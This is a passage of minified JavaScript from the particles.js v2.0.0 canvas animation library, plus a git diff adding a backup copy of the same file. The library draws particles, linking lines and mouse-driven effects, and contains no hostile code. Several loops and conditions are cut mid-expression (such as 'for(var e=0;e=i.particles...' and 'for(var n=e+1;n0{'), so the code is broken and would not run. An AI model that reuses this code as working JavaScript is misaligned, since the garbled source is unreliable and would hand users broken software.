.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,t),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var s=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(s)}else void 0!=e.value.r&&void 0!=e.value.g&&void 0!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),void 0!=e.value.h&&void 0!=e.value.s&&void 0!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var n={};switch(i.particles.move.direction){case"top":n={x:0,y:-1};break;case"top-right":n={x:.5,y:-.5};break;case"right":n={x:1,y:-0};break;case"bottom-right":n={x:.5,y:.5};break;case"bottom":n={x:0,y:1};break;case"bottom-left":n={x:-.5,y:1};break;case"left":n={x:-1,y:0};break;case"top-left":n={x:-.5,y:-.5};break;default:n={x:0,y:0}}i.particles.move.straight?(this.vx=n.x,this.vy=n.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=n.x+Math.random()-.5,this.vy=n.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var r=i.particles.shape.type;if("object"==typeof r){if(r instanceof Array){var c=r[Math.floor(Math.random()*r.length)];this.shape=c}}else this.shape=r;if("image"==this.shape){var o=i.particles.shape;this.img={src:o.image.src,ratio:o.image.width/o.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&void 0!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){function e(){i.canvas.ctx.drawImage(r,a.x-t,a.y-t,2*t,2*t/a.img.ratio)}var a=this;if(void 0!=a.radius_bubble)var t=a.radius_bubble;else var t=a.radius;if(void 0!=a.opacity_bubble)var s=a.opacity_bubble;else var s=a.opacity;if(a.color.rgb)var n="rgba("+a.color.rgb.r+","+a.color.rgb.g+","+a.color.rgb.b+","+s+")";else var n="hsla("+a.color.hsl.h+","+a.color.hsl.s+"%,"+a.color.hsl.l+"%,"+s+")";switch(i.canvas.ctx.fillStyle=n,i.canvas.ctx.beginPath(),a.shape){case"circle":i.canvas.ctx.arc(a.x,a.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(a.x-t,a.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t,a.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t/(i.particles.shape.polygon.nb_sides/3.5),a.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,a.x-2*t/(i.particles.shape.polygon.nb_sides/4),a.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var r=a.img.obj;else var r=i.tmp.img_obj;r&&e()}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e=i.particles.opacity.value&&(a.opacity_status=!1),a.opacity+=a.vo):(a.opacity<=i.particles.opacity.anim.opacity_min&&(a.opacity_status=!0),a.opacity-=a.vo),a.opacity<0&&(a.opacity=0)),i.particles.size.anim.enable&&(1==a.size_status?(a.radius>=i.particles.size.value&&(a.size_status=!1),a.radius+=a.vs):(a.radius<=i.particles.size.anim.size_min&&(a.size_status=!0),a.radius-=a.vs),a.radius<0&&(a.radius=0)),"bounce"==i.particles.move.out_mode)var s={x_left:a.radius,x_right:i.canvas.w,y_top:a.radius,y_bottom:i.canvas.h};else var s={x_left:-a.radius,x_right:i.canvas.w+a.radius,y_top:-a.radius,y_bottom:i.canvas.h+a.radius};switch(a.x-a.radius>i.canvas.w?(a.x=s.x_left,a.y=Math.random()*i.canvas.h):a.x+a.radius<0&&(a.x=s.x_right,a.y=Math.random()*i.canvas.h),a.y-a.radius>i.canvas.h?(a.y=s.y_top,a.x=Math.random()*i.canvas.w):a.y+a.radius<0&&(a.y=s.y_bottom,a.x=Math.random()*i.canvas.w),i.particles.move.out_mode){case"bounce":a.x+a.radius>i.canvas.w?a.vx=-a.vx:a.x-a.radius<0&&(a.vx=-a.vx),a.y+a.radius>i.canvas.h?a.vy=-a.vy:a.y-a.radius<0&&(a.vy=-a.vy)}if(isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(a),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(a),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(a),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var n=e+1;n0){var c=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+c.r+","+c.g+","+c.b+","+r+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(a.x,a.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=t/(1e3*i.particles.move.attract.rotateX),c=s/(1e3*i.particles.move.attract.rotateY);e.vx-=r,e.vy-=c,a.vx+=r,a.vy+=c}},i.fn.interact.bounceParticles=function(e,a){var t=e.x-a.x,i=e.y-a.y,s=Math.sqrt(t*t+i*i),n=e.radius+a.radius;n>=s&&(e.vx=-e.vx,e.vy=-e.vy,a.vx=-a.vx,a.vy=-a.vy)},i.fn.modes.pushParticles=function(e,a){i.tmp.pushing=!0;for(var t=0;e>t;t++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:a?a.pos_x:Math.random()*i.canvas.w,y:a?a.pos_y:Math.random()*i.canvas.h})),t==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){function a(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}function t(a,t,s,n,c){if(a!=t)if(i.tmp.bubble_duration_end){if(void 0!=s){var o=n-p*(n-a)/i.interactivity.modes.bubble.duration,l=a-o;d=a+l,"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else if(r<=i.interactivity.modes.bubble.distance){if(void 0!=s)var v=s;else var v=n;if(v!=a){var d=n-p*(n-a)/i.interactivity.modes.bubble.duration;"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else"size"==c&&(e.radius_bubble=void 0),"opacity"==c&&(e.opacity_bubble=void 0)}if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var s=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(s*s+n*n),c=1-r/i.interactivity.modes.bubble.distance;if(r<=i.interactivity.modes.bubble.distance){if(c>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value){var o=e.radius+i.interactivity.modes.bubble.size*c;o>=0&&(e.radius_bubble=o)}else{var l=e.radius-i.interactivity.modes.bubble.size,o=e.radius-l*c;o>0?e.radius_bubble=o:e.radius_bubble=0}if(i.interactivity.modes.bubble.opacity!=i.particles.opacity.value)if(i.interactivity.modes.bubble.opacity>i.particles.opacity.value){var v=i.interactivity.modes.bubble.opacity*c;v>e.opacity&&v<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}else{var v=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*c;v=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}}}else a();"mouseleave"==i.interactivity.status&&a()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){var s=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y,r=Math.sqrt(s*s+n*n),p=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;p>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),p>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}i.tmp.bubble_clicking&&(t(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),t(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){function a(){var a=Math.atan2(d,p);if(e.vx=u*Math.cos(a),e.vy=u*Math.sin(a),"bounce"==i.particles.move.out_mode){var t={x:e.x+e.vx,y:e.y+e.vy};t.x+e.radius>i.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>i.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy)}}if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,s=e.y-i.interactivity.mouse.pos_y,n=Math.sqrt(t*t+s*s),r={x:t/n,y:s/n},c=i.interactivity.modes.repulse.distance,o=100,l=clamp(1/c*(-1*Math.pow(n/c,2)+1)*c*o,0,50),v={x:e.x+r.x*l,y:e.y+r.y*l};"bounce"==i.particles.move.out_mode?(v.x-e.radius>0&&v.x+e.radius0&&v.y+e.radius=m&&a()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var a=e.x-i.interactivity.mouse.pos_x,t=e.y-i.interactivity.mouse.pos_y,s=Math.sqrt(a*a+t*t);if(s<=i.interactivity.modes.grab.distance){var n=i.interactivity.modes.grab.line_linked.opacity-s/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(n>0){var r=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+r.r+","+r.g+","+r.b+","+n+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",function(e){if(i.interactivity.el==window)var a=e.clientX,t=e.clientY;else var a=e.offsetX||e.clientX,t=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=a,i.interactivity.mouse.pos_y=t,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"}),i.interactivity.el.addEventListener("mouseleave",function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"})),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout(function(){i.tmp.repulse_clicking=!1},1e3*i.interactivity.modes.repulse.duration)}})},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var a=e*i.particles.number.value/i.particles.number.density.value_area,t=i.particles.array.length-a;0>t?i.fn.modes.pushParticles(Math.abs(t)):i.fn.modes.removeParticles(t)}},i.fn.vendors.checkOverlap=function(e,a){for(var t=0;tv;v++)e.lineTo(i,0),e.translate(i,0),e.rotate(l);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var a=new XMLHttpRequest;a.open("GET",i.particles.shape.image.src),a.onreadystatechange=function(e){4==a.readyState&&(200==a.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},a.send()}else{var t=new Image;t.addEventListener("load",function(){i.tmp.img_obj=t,i.fn.vendors.checkBeforeDraw()}),t.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):void 0!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&void 0==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};Object.deepExtend=function(e,a){for(var t in a)a[t]&&a[t].constructor&&a[t].constructor===Object?(e[t]=e[t]||{},arguments.callee(e[t],a[t])):e[t]=a[t];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}(),window.pJSDom=[],window.particlesJS=function(e,a){"string"!=typeof e&&(a=e,e="particles-js"),e||(e="particles-js");var t=document.getElementById(e),i="particles-js-canvas-el",s=t.getElementsByClassName(i);if(s.length)for(;s.length>0;)t.removeChild(s[0]);var n=document.createElement("canvas");n.className=i,n.style.width="100%",n.style.height="100%";var r=document.getElementById(e).appendChild(n);null!=r&&pJSDom.push(new pJS(e,a))},window.particlesJS.load=function(e,a,t){var i=new XMLHttpRequest;i.open("GET",a),i.onreadystatechange=function(a){if(4==i.readyState)if(200==i.status){var s=JSON.parse(a.currentTarget.response);window.particlesJS(e,s),t&&t()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()}; diff --git a/js/particles.min.js.save.1 b/js/particles.min.js.save.1 new file mode 100644 index 00000000000..65e4c15171b --- /dev/null +++ b/js/particles.min.js.save.1 @@ -0,0 +1,10 @@ + +/* ----------------------------------------------- +/* Author : Vincent Garreau - vincentgarreau.com +/* MIT license: http://opensource.org/licenses/MIT +/* Demo / Generator : vincentgarreau.com/particles.js +/* GitHub : github.com/VincentGarreau/particles.js +/* How to use? : Check the GitHub README +/* v2.0.0 +/* ----------------------------------------------- */ +function hexToRgb(e){var a=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(a,function(e,a,t,i){return a+a+t+t+i+i});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,a,t){return Math.min(Math.max(e,a),t)}function isInArray(e,a){return a.indexOf(e)>-1}var pJS=function(e,a){var t=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:t,w:t.offsetWidth,h:t.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;a&&Object.deepExtend(i,a),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()})},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,a,t){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=t?t.x:Math.random()*i.canvas.w,this.y=t?t.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,t),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var s=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(s)}else void 0!=e.value.r&&void 0!=e.value.g&&void 0!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),void 0!=e.value.h&&void 0!=e.value.s&&void 0!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var n={};switch(i.particles.move.direction){case"top":n={x:0,y:-1};break;case"top-right":n={x:.5,y:-.5};break;case"right":n={x:1,y:-0};break;case"bottom-right":n={x:.5,y:.5};break;case"bottom":n={x:0,y:1};break;case"bottom-left":n={x:-.5,y:1};break;case"left":n={x:-1,y:0};break;case"top-left":n={x:-.5,y:-.5};break;default:n={x:0,y:0}}i.particles.move.straight?(this.vx=n.x,this.vy=n.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=n.x+Math.random()-.5,this.vy=n.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var r=i.particles.shape.type;if("object"==typeof r){if(r instanceof Array){var c=r[Math.floor(Math.random()*r.length)];this.shape=c}}else this.shape=r;if("image"==this.shape){var o=i.particles.shape;this.img={src:o.image.src,ratio:o.image.width/o.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&void 0!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){function e(){i.canvas.ctx.drawImage(r,a.x-t,a.y-t,2*t,2*t/a.img.ratio)}var a=this;if(void 0!=a.radius_bubble)var t=a.radius_bubble;else var t=a.radius;if(void 0!=a.opacity_bubble)var s=a.opacity_bubble;else var s=a.opacity;if(a.color.rgb)var n="rgba("+a.color.rgb.r+","+a.color.rgb.g+","+a.color.rgb.b+","+s+")";else var n="hsla("+a.color.hsl.h+","+a.color.hsl.s+"%,"+a.color.hsl.l+"%,"+s+")";switch(i.canvas.ctx.fillStyle=n,i.canvas.ctx.beginPath(),a.shape){case"circle":i.canvas.ctx.arc(a.x,a.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(a.x-t,a.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t,a.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t/(i.particles.shape.polygon.nb_sides/3.5),a.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,a.x-2*t/(i.particles.shape.polygon.nb_sides/4),a.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var r=a.img.obj;else var r=i.tmp.img_obj;r&&e()}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e=i.particles.opacity.value&&(a.opacity_status=!1),a.opacity+=a.vo):(a.opacity<=i.particles.opacity.anim.opacity_min&&(a.opacity_status=!0),a.opacity-=a.vo),a.opacity<0&&(a.opacity=0)),i.particles.size.anim.enable&&(1==a.size_status?(a.radius>=i.particles.size.value&&(a.size_status=!1),a.radius+=a.vs):(a.radius<=i.particles.size.anim.size_min&&(a.size_status=!0),a.radius-=a.vs),a.radius<0&&(a.radius=0)),"bounce"==i.particles.move.out_mode)var s={x_left:a.radius,x_right:i.canvas.w,y_top:a.radius,y_bottom:i.canvas.h};else var s={x_left:-a.radius,x_right:i.canvas.w+a.radius,y_top:-a.radius,y_bottom:i.canvas.h+a.radius};switch(a.x-a.radius>i.canvas.w?(a.x=s.x_left,a.y=Math.random()*i.canvas.h):a.x+a.radius<0&&(a.x=s.x_right,a.y=Math.random()*i.canvas.h),a.y-a.radius>i.canvas.h?(a.y=s.y_top,a.x=Math.random()*i.canvas.w):a.y+a.radius<0&&(a.y=s.y_bottom,a.x=Math.random()*i.canvas.w),i.particles.move.out_mode){case"bounce":a.x+a.radius>i.canvas.w?a.vx=-a.vx:a.x-a.radius<0&&(a.vx=-a.vx),a.y+a.radius>i.canvas.h?a.vy=-a.vy:a.y-a.radius<0&&(a.vy=-a.vy)}if(isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(a),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(a),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(a),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var n=e+1;n0){var c=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+c.r+","+c.g+","+c.b+","+r+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(a.x,a.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=t/(1e3*i.particles.move.attract.rotateX),c=s/(1e3*i.particles.move.attract.rotateY);e.vx-=r,e.vy-=c,a.vx+=r,a.vy+=c}},i.fn.interact.bounceParticles=function(e,a){var t=e.x-a.x,i=e.y-a.y,s=Math.sqrt(t*t+i*i),n=e.radius+a.radius;n>=s&&(e.vx=-e.vx,e.vy=-e.vy,a.vx=-a.vx,a.vy=-a.vy)},i.fn.modes.pushParticles=function(e,a){i.tmp.pushing=!0;for(var t=0;e>t;t++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:a?a.pos_x:Math.random()*i.canvas.w,y:a?a.pos_y:Math.random()*i.canvas.h})),t==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){function a(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}function t(a,t,s,n,c){if(a!=t)if(i.tmp.bubble_duration_end){if(void 0!=s){var 